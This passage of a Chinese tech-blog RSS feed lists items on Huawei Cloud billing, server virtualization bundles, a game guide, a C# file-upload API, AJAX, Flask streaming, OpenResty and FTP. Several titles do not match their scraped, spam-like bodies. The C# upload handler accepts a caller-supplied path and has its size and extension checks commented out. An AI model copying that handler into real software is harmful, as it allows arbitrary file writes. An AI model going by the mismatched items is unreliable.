Server，ECS)是由CPU、内存、操作系统、云硬盘组成的基础的计算组件。购买时通过选择实例规格、操作系统、虚拟私有云、登录鉴权方式等信息实现计算、存储、网络等功能，使用过程中可以根据业务需求随时调整弹性云服务器的规格，为您打造可靠、安全、灵活、高效的计算环境。了解弹性云服务器的使用限制与使用&#xA;“按需计费”计费模式属于后付费，即会根据使用资源的时间从您的帐户余额中扣费，例如购买按需计费的磁盘。若在帐户余额低于0后，您未充值帐户余额，则此时不会直接释放您的资源，而是会进入保留期。保留期到期前，若您充值帐户余额，则资源会被解冻。保留期到期前，若您未充值帐户余额，则保留期结束后资源会被释放。保留期的时长会根据客户的等级有所不同，若您需&#xA;表1详细说明了不同计费模式的弹性云服务器关机后计费情况。按需付费的弹性云服务器关机再次开机时，可能会出现由于资源不足引起的启动失败，请过一段时间再次启动，或更改云服务器规格。按需付费实例停止计费请参考弹性云服务器怎样停止计费？。如果您需要长期使用当前弹性云服务器，可以将按需购买的云服务器转为包周期计费模式，节省开支。具体操作，请参考按需转&#xA;文档数据库服务支持将按需计费实例转为包周期(包年/包月)实例。由于按需资源较贵，需要长期使用资源的按需用户可以选择对按需资源进行转包周期，继续使用这些资源的同时，享受包周期的低资费。按需计费实例状态为“正常”时才能转包周期。如果您希望独享计算资源和网络资源，请先开通专属云并申请专属计算集群资源。开通后，您可以选择专属云区域和项目。如果订单&#xA;包年/包月包年包月是预付费模式，按订单的购买周期计费，适用于可预估资源使用周期的场景，价格比按需计费模式更优惠。包年/包月计费说明。包年包月是预付费模式，按订单的购买周期计费，适用于可预估资源使用周期的场景，价格比按需计费模式更优惠。包年/包月计费说明。按需计费按需计费是后付费模式，按弹性云服务器的实际使用时长计费，可以随时开通/删除弹性&#xA;选择按需付费的用户，可以选择“转包周期”，变更实例计费模式为包年/包月。此处请选择与您的应用服务相同的区域。如果需要批量转包周期，在实例名称左侧的方框，可选多个相同状态的实例，然后单击“转包周期”。&#xA;区块链服务是否收费？答：只有Fabric区块链服务的基础版不收费，其他版本服务管理费收费标准请查看价格详情。答：只有Fabric区块链服务的基础版不收费，其他版本服务管理费收费标准请查看价格详情。区块链服务按需如何转包周期？答：暂不支持按需转包周期。答：暂不支持按需转包周期。区块链服务为包周期计费如何退订？答：在区块链服务卡片中，单击“更&#xA;云备份计费项包括存储费和流量费，存储费根据存储库的不同进行收取。详细的计费项目如下所示：存储费：云硬盘备份存储库：备份云硬盘时购买。云服务器备份存储库：备份普通云服务器时购买。SFS Turbo备份存储库：备份SFS Turbo文件系统时购买。数据库服务器备份存储库：备份部署了数据库的云服务器时购买。混合云备份存储库：备份用户云下数据中心&#xA;选择按需付费的用户，可以选择“转包周期”，变更实例计费模式为包年/包月。此处请选择与您的应用服务相同的区域。如果需要批量转包周期，在实例名称左侧的方框，可选多个相同状态的实例，然后单击“转包周期”。</description>
    </item>
    <item>
      <title>四路服务器 虚拟机 推荐整合比,三套服务器虚拟化整合方案特色对比</title>
      <link>https://bchobby.github.io/posts/e3f8ff8dff5296735fee4e1ab1958c35/</link>
      <pubDate>Fri, 06 Aug 2021 06:39:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3f8ff8dff5296735fee4e1ab1958c35/</guid>
      <description>【IT168 专稿】目前服务器领域，哪些技术或产品正在流行？虚拟化和云计算是当仁不让的焦点了。服务器虚拟化技术之所以如此流行，是因为它能够帮助用户降低成本，同时也可起到简化对资源以及对资源管理访问的目的。目前主流服务器厂商，针对这一应用领域均有自己的相应产品或整体化解决方案，一些企业也将虚拟化服务器产品的采购提上日程，因此这里总结和对比一下目前市面上较受关注的虚拟化服务器，以期能给有需求的用户一个采购参考。&#xA;一、IBM System x 服务器虚拟化整合方案&#xA;方案亮点：IBM System x 高端服务器+ VMware 虚拟化数据中心整体打包方案，产品组成如图1所示。&#xA;图1 IBM整合方案示意&#xA;方案配置：&#xA;服务器：IBM System x3850 M2 7141I02一台。&#xA;虚拟化软件：VMware VI3 Standard 版本(含双 CPU 授权) 一套。&#xA;存储：IBM Storage DS3200 SAS 磁盘阵列一套(含 4 x 146GB 15k 磁盘及相关配件)。&#xA;方案说明：IBM自2001年就和VMware具有强有力的合作关系，包括专门的VMware 虚拟化平台的ServerProven服务器兼容性测试，以及整合了虚拟机的高级系统管理功能等。这套针对普通企业环境的虚拟化整合方案，具有出色的性能表现和较高的性价比优势。因为IBM System X3系列服务器提供了更高的内容容量配置，而内存容量在虚拟化环境中是非常重要的，而且X3架构的&#34;虚拟四级缓存(XceL4v)&#34;也提高了VMware的总体性能。&#xA;方案点评：IBM的这套服务器虚拟化整合方案，旨在为普通中小企业打造最简单的虚拟化环境，配置的IBM System x服务器是IBM非常成熟的一个系列，可以很好的保障整个系统的可用性；同时其多种高级内存保护机制、光通路诊断、冗余部件和预测故障分析等特性，又可有效保障关键业务应用。&#xA;二、戴尔预配置型虚拟化套餐&#xA;方案亮点：与微软新型虚拟化技术的整合与支持，有效提升了整体环境的通用性和易用性，方案产品组成如图2所示。&#xA;图2 戴尔整合方案示意&#xA;方案配置：&#xA;服务器：R710服务器。&#xA;虚拟化软件：微软虚拟化套件(包括内含Hyper-V的Windows Server 2008和System Center Essentials/ Virtual Machine Manager 2008)。&#xA;存储：PowerVault MD3000i和DL2000存储。&#xA;其他：PowerConnect网络交换机。&#xA;方案说明：戴尔推出的这套端到端的虚拟化方案，最大的特色就是配套产品性能强劲，而且整体组合下来的成本性价比较高。比如，戴尔R710这款服务器，支持双路至强5500处理器，支持144GB DDR3内存，性能和规格提升到了新的层次；同时，随服务器一同提供的微软系统中心虚拟机管理软件，可提供在多厂商环境中对其他虚拟化程序的统一管理，这样简化系统管理的方式可帮助客户提高效率，最大化利用资源。另外，戴尔特有的模块化虚拟化咨询服务，通过WEB调查、最佳实践、对比数据和参考架构等，帮助用户对自己的虚拟基础架构进行设计、管理和优化。&#xA;方案点评：戴尔的这套虚拟化整合方案，包括服务器、存储模块和软件在内的产品都可以预先配置，这样就为缺乏一定的服务器配置知识的中小企业客户，以及需要快速完成服务器虚拟化和应用过程的客户，提供了很大的选购空间。&#xA;三、浪潮双机热备虚拟整合方案&#xA;方案亮点：把虚拟化技术与安全措施结合，使用户在大幅提高投资回报率的同时，得到更高的可靠性。方案示意如图3所示。&#xA;图3 浪潮整合方案示意</description>
    </item>
    <item>
      <title>苍蓝契约服务器维护,苍蓝誓约萌新玩家新手任务及刷初始方法</title>
      <link>https://bchobby.github.io/posts/4c79155d5dba19a8ce3f375774c2e456/</link>
      <pubDate>Fri, 06 Aug 2021 06:19:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c79155d5dba19a8ce3f375774c2e456/</guid>
      <description>苍蓝誓约新手必做的任务，萌新攻略，下面9k9k小编就为大家整理带来解答，一起来看看吧，欢迎大家一起交流。&#xA;入坑前你需要做好的心理准备：&#xA;1、游戏模式基本照搬舰C街机，如果对玩法照搬这点抵触的玩家请慎重。2、游戏出货率较低，船出率为2%，但是标准池有保底，60抽必出金。3、这个游戏各个稀有度实力差距巨大，紫色姑且可以一用，蓝色白色只能在穆伯防卫圈中使用，想用真爱非稀有船的话需要付出百倍艰辛与努力。(当然真爱是不畏惧任何考验的)&#xA;4、游戏战斗过程中动画需要手动跳过，比较烦人。&#xA;5、高配置画面烧手机，低配置画面伤眼睛，如果有条件可以玩官服PC版(数据与手机版共同)或渠道服模拟器。&#xA;首先，你需要做的事情是刷初始。一般意义上的刷初始以及初始买卖这种事情是官方明令禁止的，请大家务必不要知法犯法。那么该怎么合理合法的刷初始呢？这个游戏因为开服初期爆服开了十几个服务器，我们从一服开始建号即可，一般来说刷4个账号就会出可以开局的号了。完美主义者会刷到累死的，建议不需要刷完美初始，刷个一般的就可以了。我们要刷的主要目标不是第一个十连多少个金船(会刷吐)我们主要刷的是两个保底金船的组合，其他都是添头，太看脸了。首先肝完海域第一章，则可抽第一个保底金船(熟练后耗时0.5~1H)，抽到如下即可继续肝第二个20连保底。&#xA;金航空母舰(鸾除外【点击就送】)，金战舰(厌战、旧金山除外【点击就送、锻造可出】)，欧根亲王，塞缪尔·罗伯茨。(欢迎补充订正)如果第二艘也是在这个列表内的，基本上就可以开局了。其中：北卡+伊丽莎白、欧根+塞喵、凰都是很舒服的开局。&#xA;推荐信赠送情况：新手教程完毕赠送10张，海域第一章打三星10张，海域第二章打三星10张，完成奥克兰和薇的升级升星任务及其他任务约10张。再加上钻石购买，最快只需要打到2-3即可拥有40抽，即两个保底。&#xA;这里还需要要注意一点，许愿墙教程时如果还没金卡不要许愿，如果有金卡了就把所有相片撤下来只放金卡许愿。&#xA;单纯撤下照片再放上这个操作不会额外增加CD时间，最长CD时间和你拥有的【可放上许愿墙船舰总数】有关，放上越多CD时间越短，但随机出，所以建议只放需要的金。</description>
    </item>
    <item>
      <title>服务器webapi上传文件被拒绝,webAPI 上传文件</title>
      <link>https://bchobby.github.io/posts/a14ee9aa69f0ef5b3939f300001e6218/</link>
      <pubDate>Fri, 06 Aug 2021 06:06:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a14ee9aa69f0ef5b3939f300001e6218/</guid>
      <description>[HttpPost]public APIResult PostFormFile(stringpath)&#xA;{try{//如果路径不存在，创建路径&#xA;if (!Directory.Exists(path))return newAPIResult()&#xA;{&#xA;status= -1,&#xA;Message= &#34;文件上传失败&#34;,&#xA;Data= &#34;路径不存在&#34;};&#xA;HttpFileCollection files=HttpContext.Current.Request.Files;&#xA;List errMsg = new List();foreach (string key infiles.AllKeys)&#xA;{string fileName =System.IO.Path.Combine(path, files[key].FileName);if(System.IO.File.Exists(fileName))&#xA;errMsg.Add(&#34;文件已存在：&#34; +fileName);&#xA;}if (errMsg.Count &amp;gt; 0)&#xA;{return newAPIResult()&#xA;{&#xA;status= -1,&#xA;Message= &#34;文件上传失败,文件已存在&#34;,&#xA;Data=String.Join(System.Environment.NewLine, errMsg)&#xA;};&#xA;}foreach (string key infiles.AllKeys)&#xA;{&#xA;HttpPostedFile file=files[key];if (string.IsNullOrEmpty(file.FileName) == false)&#xA;{//int length = file.ContentLength;//if (length &amp;gt; 2097152)//{//throw new CustomException(&#34;上传文件超过2M,请将上传文件大小控制在2M内,谢谢&#34;);//}//string extension = file.FileName.Substring(file.FileName.LastIndexOf(&#39;.&#39;)).ToLower();//if (extension != &#34;.bmp&#34; &amp;amp;&amp;amp; extension !</description>
    </item>
    <item>
      <title>服务器kvm不显示,centos7看服务器开了虚拟化（centos虚拟化kvm）</title>
      <link>https://bchobby.github.io/posts/4b8848e24aa3b3029672146f5bc11aca/</link>
      <pubDate>Fri, 06 Aug 2021 04:31:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b8848e24aa3b3029672146f5bc11aca/</guid>
      <description>基于工业标准的需求来介绍以下列出的这些重要工作。注册并启用红帽订阅使用静态 IP 地址配置网络设置服务器的主机名称更新或升级最小化安装的 CentOS安装命令行 。&#xA;1、打开虚拟机，选择创建新的虚拟机。2、选择典型，点击下一步。3、选择稍后安装操作系统。4、选择windows7。5、这个直接下一步。6、直接点击下一步。7、直接。&#xA;这个可以使用virt-what来查看自己服务器的虚拟技术。Centos 安装virt-what : yun install virt-whatDebian/ubuntu 安装virt-what : apt-get install virt-what装好后使用命令virt-what 。&#xA;最好自定义安装，选自己需要的软件包最小化安装只有系统运行必须的软件包，如果需要其它包也可以另外安装如果不跑虚拟机，就没必要选虚拟主机安装&#xA;1、首先，在BIOS里设置光驱启动，并放入Centos6.5安装光盘。前提要刻录好光盘(如果是安装虚拟机的话，可以省略刻录光盘了，直接用ISO镜像文件启动即可)。光盘。&#xA;虚拟化 vmware (xp v7 等等) 或者微软hyper-v(操作系统需要2008/2012) 安装后建立一个虚拟化进行安装centos7.2操作系统&#xA;1、打开虚拟机，选择新建虚拟机2、选择标准3、载入我们下载的centos7.0镜像文件4、选择操作系统和版本，将虚拟机容量设为40GB左右，其他根据自己需要选择，默认。&#xA;虚拟机启动时F2进BIOS设置，设置光驱引导优先。&#xA;容器本身相当于一个系统了&#xA;安装完成后，使用ifconfig命令只能查到lo找不到eth0在/etc/sysconfig/network-。&#xA;萝卜建站https://www.3cwu.com/ 版权声明：本网站部分资源来源于网络，如您认为本网站不应该展示与您有关的信息，请及时与我们取得联系，我们会尊重您的决定并作出处理。&#xA;特别注意：本网站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有。</description>
    </item>
    <item>
      <title>ajax只有json流,ajax   json</title>
      <link>https://bchobby.github.io/posts/32d8064a0b824bf2cc2e820626f9c248/</link>
      <pubDate>Fri, 06 Aug 2021 03:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32d8064a0b824bf2cc2e820626f9c248/</guid>
      <description>AJAX&#xA;AJAX 是一种在无需重新加载整个网页的情况下，能够更新部分网页的技术。&#xA;AJAX负责客户端数据和服务端数据的运输。&#xA;AJAX：Asynchronous JavaScript and XML(异步JavaScript和XML) 所有操作在htdocs&#xA;Ajax的核心就是是JavaScript对象XmlHttpRequest，这个对象为向服务器发送请求和解析服务器响应提供了流畅的接口。XmlHttpRequest可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。&#xA;家具的形态：&#xA;宜家(组装好的) -&amp;gt; 运输(拆成板) -&amp;gt; 家里(组装)&#xA;数据传输：&#xA;服务器(数据结构，数组、对象) -&amp;gt; 运行(特殊结构字符串) -&amp;gt; 客户端浏览器(数据结构，数组、对象)&#xA;市面上用的最多的字符串数据格式：&#xA;xml&#xA;特点：可以存储种类丰富的数据(自己设置标签)&#xA;缺点：解析起来比较困难&#xA;用于：大型的新闻网站 网易新闻 腾讯新闻 新浪微博 凤凰中文。&#xA;json(90%使用json)&#xA;特点：小，适用于一些小型的应用程序，解析起来比较简单&#xA;用于：移动端项目&#xA;javascript中的同步和异步：&#xA;同步：阻塞，必须等前面一个程序结束以后，才能进行后续的程序。&#xA;例子：很多人打热水，水龙头只有一个，必须排队。你必须等前面的人接完水以后，你才能去进行接水这个动作。&#xA;异步：非阻塞，前面一个程序是否执行完成，并不影响你程序的执行。&#xA;例子：很多人打热水，水龙头数量是无限。别人接水对我们来说是没有任何影响。&#xA;ajax实例&#xA;var oBtn = document.getElementById(&#39;btn1&#39;);&#xA;oBtn.onclick = function(){&#xA;var xmlhttp; //声明一个ajax对象&#xA;//做浏览器兼容，ie6及ie6一下，我们可以通过 new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;);&#xA;if (window.XMLHttpRequest){&#xA;// IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码&#xA;xmlhttp=new XMLHttpRequest();&#xA;}else{&#xA;// IE6, IE5 浏览器执行代码</description>
    </item>
    <item>
      <title>flask读取服务器信息,使用OpenCV（Python）从Flask服务器读取MJPEG流</title>
      <link>https://bchobby.github.io/posts/a3fed45bb4dc9479a10ec11807aa56fa/</link>
      <pubDate>Fri, 06 Aug 2021 03:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3fed45bb4dc9479a10ec11807aa56fa/</guid>
      <description>我正在使用Flask和flask-restful生成一个MJPEG流。出于原因，我想在另一个Python程序中捕获此流，我使用OpenCV(3)。&#xA;问题是请求的第一帧进展顺利。另一方面，未正确接收请求的第二帧(延迟之后)，并抛出错误：&#xA;[mpjpeg @ 0000017a86f524a0] Expected boundary &#39;--&#39; not found, instead found a line of 82 bytes&#xA;多次。&#xA;我相信这是因为手动设置了帧的边界。我将把违规代码放在下面。&#xA;MJPEG流生成：&#xA;## Controller for the streaming of content.&#xA;class StreamContent(Resource):&#xA;@classmethod&#xA;def setVis(self, vis):&#xA;self.savedVis = vis&#xA;def get(self):&#xA;return Response(gen(VideoCamera(self.savedVis)),&#xA;mimetype=&#39;multipart/x-mixed-replace; boundary=frame&#39;)&#xA;## Generate a new VideoCamera and stream the retrieved frames.&#xA;def gen(camera):&#xA;frame = camera.getFrame()&#xA;while frame != None:&#xA;yield (b&#39;--frame\r\n&#39;&#xA;b&#39;Content-Type: image/jpeg\r\n\r\n&#39; + frame + b&#39;\r\n\r\n&#39;)</description>
    </item>
    <item>
      <title>把ajax放在background执行,ajax不执行</title>
      <link>https://bchobby.github.io/posts/0ef7124c0e508e60e83e823d3cac5247/</link>
      <pubDate>Fri, 06 Aug 2021 01:32:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ef7124c0e508e60e83e823d3cac5247/</guid>
      <description>String path = request.getContextPath();&#xA;String basePath = request.getScheme() + &#34;://&#34;&#xA;+ request.getServerName() + &#34;:&#34; + request.getServerPort()&#xA;+ path + &#34;/&#34;;&#xA;String param = request.getParameter(&#34;param&#34;);&#xA;%&amp;gt;&#xA;//重载窗口&#xA;function resetwindow(){&#xA;if(top.location != self.location){&#xA;top.location.href = self.location.href;&#xA;return true;&#xA;}&#xA;}&#xA;$().ready(function() {&#xA;$(&#34;#form&#34;).validate();&#xA;});&#xA;//判断用户密码是否正确或是否被禁用&#xA;function checksubmit()&#xA;{&#xA;//得到值&#xA;var chain_no=$(&#34;#chain_no&#34;).val();&#xA;var pwd=$(&#34;#user_password&#34;).val();&#xA;var user_id=$(&#34;#user_id&#34;).val();&#xA;$.ajax({&#xA;type: &#34;POST&#34;,&#xA;url:&#34;AjaxUpdate/AjaxUpdate_ajaxselectuserInfo&#34;,&#xA;data:&#34;conditionKey=&#34;+chain_no+&#34;&amp;amp;conditionValue=&#34;+pwd+&#34;&amp;amp;key=&#34;+user_id,&#xA;success:function(message){&#xA;//判断&#xA;if(message==&#34;成功&#34;){&#xA;$(&#34;#form&#34;).submit();&#xA;}else{&#xA;alert(message);&#xA;}&#xA;}&#xA;});&#xA;}&#xA;border=&#34;0&#34;&amp;gt;</description>
    </item>
    <item>
      <title>文件夹与服务器共享文件夹同步,云服务器 文件夹共享文件夹同步</title>
      <link>https://bchobby.github.io/posts/cd0e4aac9bb608ba933f1577288763e0/</link>
      <pubDate>Fri, 06 Aug 2021 01:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd0e4aac9bb608ba933f1577288763e0/</guid>
      <description>云服务器 文件夹共享文件夹同步 内容精选&#xA;换一换&#xA;CPH服务提供云手机批量控制功能，该功能可以通过ADB命令API将存放在OBS桶中的APK安装文件等，批量推送或安装到云手机中，便捷用户操作，提升管理效率。本章节通过批量安装APK的示例来介绍批量控制功能。安装和更新APK有以下两种方式：通过API执行install命令进行操作，详情请参考安装apk。用户先将OBS桶中的安装包，授予读取权&#xA;Model File:模型文件。单击右侧的文件夹图标，在后台服务器sample所在路径(工程目录/run/out/test_data/model)选择需要转化的模型对应的*.prototxt文件，并上传。Weight File:权重文件。请自行从https://obs-model-ascend.obs.cn-east-2.myhuawei&#xA;云服务器 文件夹共享文件夹同步 相关内容&#xA;如果DDK和Atlas 200 DK Atlas 300不在同一服务器，请执行1~7。如果DDK和Atlas 200 DK Atlas 300在同一服务器，请直接以root用户在“工程目录下/run/out”目录下执行7。mkdir fasterrcnn_vgg16scp -rDDK安装目录/projects/modify_graph&#xA;该任务以“Windows Server 2008 R2 64位”操作系统为例，指导用户安装Windows操作系统。由于镜像文件不同，安装步骤稍有不同，请根据实际的安装界面提示进行操作。请根据实际情况完成时区、KMS地址、补丁服务器、输入法、语言等相关配置。已使用平台提供的“远程登录”方式，登录云服务器并进入安装界面。操作系统安装成功前，禁&#xA;云服务器 文件夹共享文件夹同步 更多内容&#xA;例如main.cpp中所需输入数据如下所示：rank：输出结果的维度。dim：表示有1000行推理结果。label：表示数据标签序号。value：表示每个结果下的置信度。&#xA;本章节指导用户挂载已有数据的共享磁盘，只可以用作数据盘。您可以在磁盘列表中查看磁盘信息，磁盘信息符合以下条件，该磁盘支持挂载至云服务器用作数据盘。共享盘：共享磁盘属性：数据盘磁盘状态：可用或者正在使用共享盘：共享磁盘属性：数据盘磁盘状态：可用或者正在使用卸载后的系统盘即为启动盘，根据您选择的挂载点不同，启动盘可以重新挂载给云服务器用作系统&#xA;Teleport在寄送给用户前，根据用户的需要，管理员会创建CIFS或NFS共享文件系统。CIFS共享文件系统使用Windows客户端，NFS共享文件系统使用Linux或者Unix客户端，这两种方式将共享文件系统挂载到客户端，然后将数据拷贝至挂载的共享路径，相当于将数据拷贝至Teleport设备中。介绍CIFS共享如何拷贝数据。前提条件已&#xA;如果裸金属服务器要在3408/3508 RAID卡机型上下发，需要安装3408/3508 RAID卡驱动。其他类型服务器可跳过此步骤。本文以Windows Server 2016为例，Windows Server 2012 R2与之类似。解压缩准备工作中的“onboard_driver_win2k16.iso”文件，获取包含RAID及me&#xA;Windows2008、Windows2012和Windows2016操作系统在多用户登录Windows云服务器时，如果已经有用户打开了浏览器，第二个用户打开浏览器失败。本节操作以IE浏览器为例。在桌面选择浏览器图标，单击右键选择“创建快捷方式”。选择新创建的快捷方式，单击右键选择“属性”。选择“快捷方式”页签，找到目标选项，在末尾添加如&#xA;echo &#34;sfs-nas1.***:/share-cd3dc3c2 /db2sfs nfs vers=3,timeo=600,nolock 1 2&#34; &amp;gt;&amp;gt;/etc/fstab执行mount -a挂载&#xA;Model File:模型文件。单击右侧的文件夹图标，在后台服务器sample所在路径(工程目录/run/out/test_data/resnet-18/model)选择需要转化的模型对应的*.prototxt文件，并上传。Weight File:权重文件。请自行从https://obs-model-ascend.obs.cn-east-&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;对象URL(对象共享)功能，可实现匿名用户通过对象共享链接地址，直接访问对象数据。已通过管理控制台设置匿名用户读取该指定对象的权限。登录OBS Browser时，选择“OBS存储”，则生成的对象链接地址格式为：https://桶名.域名/文件夹目录层级/对象名。如果该对象存在于桶的根目录下，其链接地址不会有文件夹目录层级。登录OBS Br&#xA;公有云平台提供了一键式重置密码功能。弹性云服务器的密码丢失或过期时，如果您的弹性云服务器提前安装了一键式重置密码插件，则可以应用一键式重置密码功能，给弹性云服务器设置新密码。该方法方便、有效，建议您成功创建、登录弹性云服务器后，安装密码重置插件，具体操作请参见本节内容。使用公共镜像创建的弹性云服务器默认已安装一键重置密码插件。检查是否已安&#xA;有，该NTP服务器仅限于在华为云控制台上购买的弹性云服务器安装使用。如需在购买的弹性云服务器上安装NTP服务器，您可以选择使用华为云控制台自己提供的NTP服务器，也可以选择其他NTP服务器。安装NTP服务器的操作相同，本节以华为云控制台提供的NTP服务器为例，介绍在弹性云服务器上安装NTP服务器的操作。使用华为云提供的NTP服务器时，需和</description>
    </item>
    <item>
      <title>服务器控制 lua 微信脚本,Openresty服务器使用lua脚本写的Hello World简单实例</title>
      <link>https://bchobby.github.io/posts/3c50b3a2ce35d5b0650a9fc63fe4da78/</link>
      <pubDate>Fri, 06 Aug 2021 00:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c50b3a2ce35d5b0650a9fc63fe4da78/</guid>
      <description>Openresty提供了丰富的接口和变量给Lua，开发者可以充分利用Lua语言特性和这些接口进行高效率开发。万事开头难，但是对于编程来说能写出Hello world就已经算是成功一半了。&#xA;1、安装openresty&#xA;2、配置nginx&#xA;复制代码 代码如下:&#xA;server {&#xA;listen 80;&#xA;server_name localhost;&#xA;#charset koi8-r;&#xA;#access_log logs/host.access.log main;&#xA;location / {&#xA;root html;&#xA;index index.html index.htm;&#xA;}&#xA;location /lua {&#xA;default_type text/plain;&#xA;content_by_lua_file /opt/lua/bin/test.lua;&#xA;}&#xA;........&#xA;}&#xA;3、新建 /opt/lua/bin/test.lua&#xA;复制代码 代码如下:&#xA;local welcome = &#39;Hello World&#39;&#xA;ngx.say(welcome)&#xA;4、访问即可</description>
    </item>
    <item>
      <title>cordova ajax https,将手机升级到Android 9 Pie API 28修订版6后,Cordova App中出现Ajax错误...</title>
      <link>https://bchobby.github.io/posts/17d89d49370af23406b9217ddbcbdedb/</link>
      <pubDate>Fri, 06 Aug 2021 00:47:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17d89d49370af23406b9217ddbcbdedb/</guid>
      <description>我有一个使用Cordova 8.1.2开发的应用程序,并在Android 8.1 Oreo API Level 27 Revision 3下编译,可在P​​lay商店和注册用户中成功使用.&#xA;在过去的几周中,一些用户已将手机升级到Android 9.0 Pie,当他们打开该应用并进行注册或登录操作时,他们会收到Ajax通信,并显示服务器错误.&#xA;我已经在Android Studio的开发人员模式下以及在Android 9.0 Pie的Emulator中进行了尝试,并且得到了相同的结果.我使用不同的ajax URL进行了一些测试,并且ajax调用从未到达服务器.&#xA;有人遇到同样的问题吗？&#xA;这是android studio中的错误日志：&#xA;2019-01-30 20:29:19.701 1921-1921/? E/netmgr: Failed to open QEMU pipe &#39;qemud:network&#39;: Invalid argument&#xA;2019-01-30 20:29:22.351 1754-1900/? E/storaged: getDiskStats Failed with result NOT_SUPPORTED and size 0&#xA;2019-01-30 20:29:38.714 1925-2029/system_process E/memtrack: Couldn&#39;t load memtrack module&#xA;控制台中的Ajax错误视图：&#xA;{&#34;readyState&#34;:0,&#34;status&#34;:0,&#34;statusText&#34;:&#34;error&#34;}</description>
    </item>
    <item>
      <title>java将ftp服务器文件归档,java将ftp服务器文件归档</title>
      <link>https://bchobby.github.io/posts/18729b5ae22051ad5c901d6ad00e1fb2/</link>
      <pubDate>Fri, 06 Aug 2021 00:40:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18729b5ae22051ad5c901d6ad00e1fb2/</guid>
      <description>java将ftp服务器文件归档 内容精选&#xA;换一换&#xA;本节操作介绍如何在Windows操作系统的本地主机上使用FTP上传文件到云服务器。已在待上传文件的云服务器中搭建 FTP 服务。如果您的云服务器为 Windows 操作系统，具体操作请参考 搭建FTP 站点(Windows)。如果您的云服务器为 Linux 操作系统，具体操作请参考 搭建FTP 站点(Linux)。在Windows本地主机&#xA;“数据导入”章节适用于MRS 3.x及后续版本。Loader是实现MRS与外部数据源如关系型数据库、SFTP服务器、FTP服务器之间交换数据和文件的ETL工具，支持将数据或文件从关系型数据库或文件系统导入到MRS系统中。Loader支持如下数据导入方式：从关系型数据库导入数据到HDFS/OBS从关系型数据库导入数据到HBase从关系型数据&#xA;java将ftp服务器文件归档 相关内容&#xA;下载地址：https://github.com/gmarcais/Jellyfish/releases/download/v2.2.10/jellyfish-2.2.10.tar.gz下载地址：http://ftp.1000genomes.ebi.ac.uk/vol1/ftp/technical/reference/human_g1k_v&#xA;为加强对系统数据的容灾管理，云堡垒机支持配置日志备份，提高审计数据安全性和系统可扩展性。本小节主要介绍如何在系统配置FTP/SFTP服务器参数，将日志远程备份至FTP/SFTP服务器。开启远程备份后，系统默认在每天零点备份前一天的系统数据。以天为单位自动备份，生成日志文件，并上传到FTP/SFTP服务器相应路径。服务器同一路径下，不能重复&#xA;java将ftp服务器文件归档 更多内容&#xA;Linux x86-64(64位)服务器，常见的有EulerOS、Ubuntu、Debian、CentOS、OpenSUSE等。Windows 7及以上版本。请参见JRE地址下载JRE。Linux服务器安装请参考如下步骤：使用root用户，进入/opt目录。cd /opt创建目录“jre”。mkdir -p jre设置JDK安装目录的权限&#xA;域名认证时，需要将下载的认证文件上传到网站根目录，然后进行认证。用户使用的服务器不同，文件上传的位置有所不同，请参照以下方法完成认证文件的上传。如果网站所使用的服务器是Tomcat、Apache、IIS、WebLogic服务器，请执行以下操作步骤。如果是非root用户，登录后，执行su -root命令切换到root用户。以下的操作仅为示例&#xA;通过IDE-daemon-client将文件传输到Device侧。对于Atlas 300场景下，以HwHiAiUser用户登录Host侧服务器。对于Atlas 200 DK场景下，以DDK安装用户登录DDK所在服务器，并设置环境变量，环境变量的设置方法请参见简介。执行命令，将A.java文件传输到Device侧，并将文件保存为B.java&#xA;用户可以在MRS Manager界面上配置监控指标数据对接参数，使集群内各监控指标数据通过FTP或SFTP协议保存到指定的FTP服务器，与第三方系统进行对接。FTP协议未加密数据可能存在安全风险，建议使用SFTP。MRS Manager支持采集当前管理的集群内所有监控指标数据，采集的周期有30秒、60秒和300秒三种。监控指标数据在FTP&#xA;本章主要介绍了如何使用AMH搭建网站。该指导具体操作以搭建DEDECMS系统为例。如果需要用IP访问，将IP地址填在域名栏里即可添加虚拟主机01本示例上传的是DEDECMS系统。该域名需要先解析到服务器。&#xA;如果待分析的软件包/源码压缩包大于500MB或者源码文件解压后大于1GB，需要手动将软件包/源码文件上传至服务器，其他情况可通过“上传”功能上传待分析的软件包或源码文件。已安装软件不涉及软件上传操作，需要鲲鹏分析扫描工具的操作系统运行用户(dependency)对软件安装路径有读的权限。以下步骤中的/opt/depadv为工具安装目录，请&#xA;下载地址：http://www.ccb.jhu.edu/software/hisat/downloads/hisat-0.1.6-beta-source.zip下载地址1：http://opengene.org/data/R1.fq.gz下载地址2：http://opengene.org/data/R2.fq.gz下载地址3：ftp://&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;可以。可以通过以下小实验证明云备份可以将数据恢复至任意备份点。&#xA;打开FTP服务器上的文件夹时发生错误，请检查是否有权限访问该文件夹。浏览器设置了FTP防火墙。以设置IE浏览器为例。打开IE浏览器菜单&#34;工具 &amp;gt; Internet 选项&#34;。选择“高级”标签卡。取消勾选“使用被动FTP(用于防火墙和DSL调制解调器兼容)”。Internet 选项单击“确定”，重启IE浏览器，重试打开FTP服务器上的文件夹。&#xA;通过IDE-daemon-client将文件传输到Host侧。对于Atlas 300场景下，以HwHiAiUser用户登录Host侧服务器。对于Atlas 200 